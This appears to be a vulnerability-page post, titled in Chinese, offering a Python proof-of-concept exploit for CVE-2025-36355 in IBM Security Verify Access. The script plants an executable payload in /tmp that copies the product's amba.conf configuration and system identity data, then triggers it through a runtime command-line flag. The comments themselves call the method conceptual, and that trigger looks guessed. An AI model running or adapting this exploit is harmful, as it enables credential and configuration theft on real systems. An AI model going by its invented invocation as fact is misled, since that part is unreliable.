CVE-2025-36355 IBM Security Verify Access 本地脚本执行漏洞

# CVE-2025-36355 - IBM Security Verify Access Local Script Execution PoC # This PoC demonstrates the concept of exploiting the local script execution vulnerability # Note: This requires local authenticated access to the target system import os import subprocess import sys # Step 1: Verify local access to IBM Security Verify Access installation def check_target(): """Check if IBM Security Verify Access is installed locally""" verify_paths = [ "/opt/ibm/security/verify-access", "/usr/local/ibm/security/verify-access", "/opt/IBM/Security/VerifyAccess" ] for path in verify_paths: if os.path.exists(path): print(f"[+] Found IBM Security Verify Access at: {path}") return path print("[-] IBM Security Verify Access not found") return None # Step 2: Create a malicious script outside the control sphere def create_malicious_script(target_dir): """Create a malicious script that will be executed by the vulnerable component""" malicious_script = os.path.join(target_dir, "malicious_payload.sh") payload = """#!/bin/bash # Malicious payload - executed due to CVE-2025-36355 echo "[+] CVE-2025-36355 Exploit Successful" # Exfiltrate sensitive configuration if [ -f /opt/ibm/security/verify-access/config/amba.conf ]; then cat /opt/ibm/security/verify-access/config/amba.conf > /tmp/exfiltrated_config.txt fi # Gather system information uname -a > /tmp/system_info.txt id >> /tmp/system_info.txt """ with open(malicious_script, 'w') as f: f.write(payload) os.chmod(malicious_script, 0o755) print(f"[+] Malicious script created at: {malicious_script}") return malicious_script # Step 3: Exploit the vulnerability by triggering script execution def exploit(script_path): """Trigger the vulnerable component to execute the malicious script""" # The exact exploitation method depends on the specific vulnerable function # This is a conceptual demonstration print(f"[*] Attempting to exploit CVE-2025-36355...") # In a real scenario, the attacker would invoke the vulnerable # IBM Security Verify Access function that loads external scripts try: result = subprocess.run( ["/opt/ibm/security/verify-access/bin/runtime", "--execute-script", script_path], capture_output=True, text=True, timeout=10 ) print(f"[+] Exploit result: {result.returncode}") except Exception as e: print(f"[-] Exploit attempt: {e}") if __name__ == "__main__": target = check_target() if target: script = create_malicious_script("/tmp") exploit(script)